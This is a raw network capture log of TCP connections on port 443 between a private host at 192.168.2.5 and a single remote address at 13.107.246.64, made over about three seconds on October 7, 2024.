Oct 7, 2024 21:53:43.205094099 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.205116034 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.238146067 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.238223076 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.238651991 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.238651991 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.238651991 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.241172075 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.241189003 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.241307020 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.241430998 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.241444111 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.270653963 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.271106005 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.271138906 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.271640062 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.271651983 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.368680000 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.372842073 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.372942924 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.372999907 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.373001099 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.373033047 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.373060942 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.375713110 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.375755072 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.375834942 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.375977993 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.375993013 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.548851013 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.548880100 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.627616882 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.628204107 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.628211975 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.628654957 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.628659010 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.726339102 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.726469994 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.726706982 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.726706982 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.726706982 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.729249001 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.729351044 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.729453087 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.729568958 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.729589939 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.809658051 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.810225964 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.810276031 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.810627937 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.810642958 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.826646090 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.827153921 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.827181101 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.827552080 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.827564001 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.906411886 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.906698942 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.906768084 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.907241106 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.907253981 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.907277107 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.907736063 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.907741070 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.907789946 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.907819033 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.907845974 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.907860041 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.923150063 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.924184084 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.924246073 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.928623915 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.928643942 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.928673029 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.928683996 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.931433916 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.931468964 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.932782888 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.935719013 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.935734987 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.936620951 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.936642885 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.936728001 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.936845064 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.936860085 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.024722099 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.024797916 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.025000095 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.025175095 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.025175095 CEST	50047	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.025183916 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.025192022 CEST	443	50047	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.027594090 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.027621031 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.027699947 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.027853966 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.027861118 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.031151056 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.031487942 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.031507969 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.031915903 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.031922102 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.033231020 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.033236027 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.140916109 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.141385078 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.141606092 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.141606092 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.141606092 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.144088984 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.144134045 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.144205093 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.144326925 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.144336939 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.355493069 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.356172085 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.356184006 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.356515884 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.356520891 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.450627089 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.450942993 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.451009989 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.451021910 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.451050997 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.451198101 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.451198101 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.451220989 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.451231003 CEST	50049	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.451237917 CEST	443	50049	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.453697920 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.453725100 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.453789949 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.453918934 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.453929901 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.455106020 CEST	50048	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.455132008 CEST	443	50048	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.548295021 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.549221039 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.549243927 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.549772978 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.549779892 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.549855947 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.550492048 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.550506115 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.550964117 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.550968885 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.644304991 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.644347906 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.644392967 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.644398928 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.644469023 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.644728899 CEST	50051	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.644745111 CEST	443	50051	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.645900011 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.646085024 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.646235943 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.646451950 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.646471977 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.646482944 CEST	50050	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.646488905 CEST	443	50050	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.649008036 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.649056911 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.649123907 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.649316072 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.649336100 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.650141001 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.650224924 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.652353048 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.652441025 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.652468920 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.654820919 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.655225039 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.655245066 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.655677080 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.655683994 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.753184080 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.753994942 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.754049063 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.754079103 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.754090071 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.754112005 CEST	50052	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.754117966 CEST	443	50052	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.756575108 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.756612062 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.756674051 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.756798983 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.756813049 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.791204929 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.791626930 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.791651964 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.792130947 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.792135954 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.887702942 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.887816906 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.887861967 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.888016939 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.888016939 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.888102055 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.888127089 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.888139009 CEST	50053	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.888144970 CEST	443	50053	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.890431881 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.890464067 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:44.890557051 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.890659094 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:44.890671968 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.090867043 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.091418028 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.091444016 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.091866016 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.091871977 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.194912910 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.195060015 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.195235968 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.195291042 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.195291042 CEST	50054	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.195317984 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.195327997 CEST	443	50054	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.197973013 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.198025942 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.198098898 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.198251009 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.198272943 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.265053988 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.265451908 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.265466928 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.265868902 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.265875101 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.285222054 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.285598993 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.285613060 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.285981894 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.285988092 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.363225937 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.363325119 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.363377094 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.363498926 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.363517046 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.363526106 CEST	50056	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.363531113 CEST	443	50056	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.365767002 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.365813971 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.365873098 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.366004944 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.366010904 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.390724897 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.391918898 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.391978979 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.392014027 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.392030954 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.392043114 CEST	50055	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.392050028 CEST	443	50055	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.394814968 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.394860029 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.394937038 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.395103931 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.395131111 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.410757065 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.411098957 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.411113024 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.411529064 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.411534071 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.512828112 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.513885021 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.513930082 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.513936043 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.513993025 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.514050007 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.514058113 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.514066935 CEST	50057	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.514071941 CEST	443	50057	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.517163038 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.517199993 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.517285109 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.517484903 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.517510891 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.529083014 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.529551983 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.529558897 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.529972076 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.529975891 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.635587931 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.635720968 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.635777950 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.635894060 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.635904074 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.635914087 CEST	50058	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.635917902 CEST	443	50058	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.638781071 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.638796091 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.638871908 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.639034986 CEST	50063	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.639049053 CEST	443	50063	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.821269035 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.821850061 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.821903944 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.822308064 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.822323084 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.916279078 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.916408062 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.916506052 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.916577101 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.916614056 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.916645050 CEST	50059	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.916660070 CEST	443	50059	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.919403076 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.919445992 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.919652939 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.919652939 CEST	50064	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.919688940 CEST	443	50064	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.999349117 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:45.999874115 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:45.999902964 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.000281096 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.000286102 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.040468931 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.040931940 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.041023016 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.041474104 CEST	50061	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.041491032 CEST	443	50061	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.184185982 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.184746981 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.184756994 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.185197115 CEST	50062	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.185201883 CEST	443	50062	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.210911989 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.210932016 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.211059093 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.211090088 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.211277008 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.211293936 CEST	443	50060	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:46.211302996 CEST	50060	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:46.211412907 CEST	443	50060	13.107.246.64	192.168.2.5
